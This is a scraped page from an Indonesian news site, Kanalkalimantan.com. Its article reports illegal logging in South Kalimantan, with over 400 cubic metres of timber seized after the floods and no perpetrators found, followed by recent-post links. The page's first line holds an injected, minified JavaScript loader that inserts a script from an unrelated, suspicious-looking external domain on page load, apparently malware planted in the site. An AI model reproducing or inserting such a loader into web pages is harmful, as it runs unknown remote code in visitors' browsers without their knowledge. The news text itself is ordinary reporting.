(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jejak Illegal Logging di Kalsel: 400 Kubik Kayu Diamankan, Tapi Para Aktor Masih Bersembunyi


KANALKALIMANTAN.COM, BANJARBARU – Bencana banjir di Kalimantan Selatan pada Januari lalu, memunculkan sejumlah fakta adanya kasus pengerusakan lingkungan. Di Kabupaten Hulu Sungai Tengah (HST), sebagai wilayah paling parah terdampak, menyimpan fakta sejumlah kasus praktek illegal logging di kawasan hutan.

Illegal logging atau pembalakan hutan diklaim pemerintah sebagai salah satu biang terjadinya banjir yang menelan hampir seluruh daratan di HST. Meskipun, selama ini penyebab yang kerap digaungkan ialah tingginya intensitas curah hujan hingga meluapnya Sungai Barito. Juga selain akibat masifnya aktivitas tambang.

Kasus illegal logging pertama terungkap saat Pemkab HST bersama Dinas Kehutanan (Dishut) Provinsi Kalsel, menemukan tumpukan hasil aktivitas pembalakan awal Februari lalu. Tumpukan kayu berbagai jenis tersebut tercatat sebanyak 96 potong, dengan volume kurang lebih 5 kubik.

Kepala Bidang Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem (PKSDAE) Dishut Provinsi Kalsel, Pantja Satata, mengatakan berangkat dari kasus awal itu, pihaknya rutin melakukan giat pemberantasan illegal logging. Hasilnya, pihaknya menemukan temuan yang sama.


“Pekan kemarin kami kembali menemukan tumpukan kayu yang diduga asalnya dari aktivitas ilegal logging. Kali ini lokasinya di Senanyam (Kabupaten Kotabaru, -red),” ujarnya, Kamis (25/2/2021) siang.

Adapun dari kasus temuan baru itu, Pantja mengungkapkan tumpukan tersebut ialah kayu limbah campuran, dengan total jumlahnya mencapai 1 kubik. “Sudah kita amankan. Hari ini kita akan melakukan giat di HST, karena di sana menjadi fokus perhatian kita untuk memberantas illegal logging,” bebernya.

Dishut Kalsel melalui bidang PKSDAE mencatatkan temuan kasus illegal logging sebanyak 3 kasus, sejak mengawali tahun ini. Sayangnya, dari seluruh kasus tersebut petugas belum berhasil menemukan satupun aktor yang bermain dalam bisnis perdagangan kayu tersebut.

“Total temuan kayu hasil illegal logging sampai saat jni, mencapai 400 kubik lebih. Kita belum berhasil menemukan para pemiliknya. Tapi informasi yang kita dapat, kayu-kayu ini seluruhnya akan dibawa ke Batu Licin,” tuntas Pantja. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Al Ghifari

Recent Posts

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

3 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

4 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

5 jam ago

Wabup Dodo: Hasil Reses DPRD Jadi Acuan Kebijakan

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More

5 jam ago

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

17 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

18 jam ago

This website uses cookies.